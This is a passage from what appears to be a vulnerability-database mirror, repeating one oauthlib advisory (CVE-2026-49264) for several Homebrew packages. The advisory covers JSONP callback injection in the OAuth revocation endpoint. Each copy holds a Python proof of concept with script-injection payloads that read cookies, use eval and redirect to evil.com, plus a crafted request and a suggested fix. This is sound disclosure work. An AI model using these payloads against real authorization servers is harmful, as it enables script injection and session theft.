present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-gcalcli-CVE-2026-49264",
"modified": "2026-10-14T09:24:30Z",
"published": "2026-09-30T20:05:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-GGSHIELD-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 20:53 – Updated: 2026-10-14 09:29 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@3.3.1",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "ggshield",
"purl": "pkg:brew/ggshield"
},
"ranges": [
{
"events": [
{
"introduced": "1.19.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@3.3.1",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "3.3.1"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-ggshield-CVE-2026-49264",
"modified": "2026-10-14T09:29:11Z",
"published": "2026-09-30T20:53:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-GYB-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 20:50 – Updated: 2026-10-14 09:27 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "gyb",
"purl": "pkg:brew/gyb"
},
"ranges": [
{
"events": [
{
"introduced": "1.73"
},
{
"fixed": "1.97"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
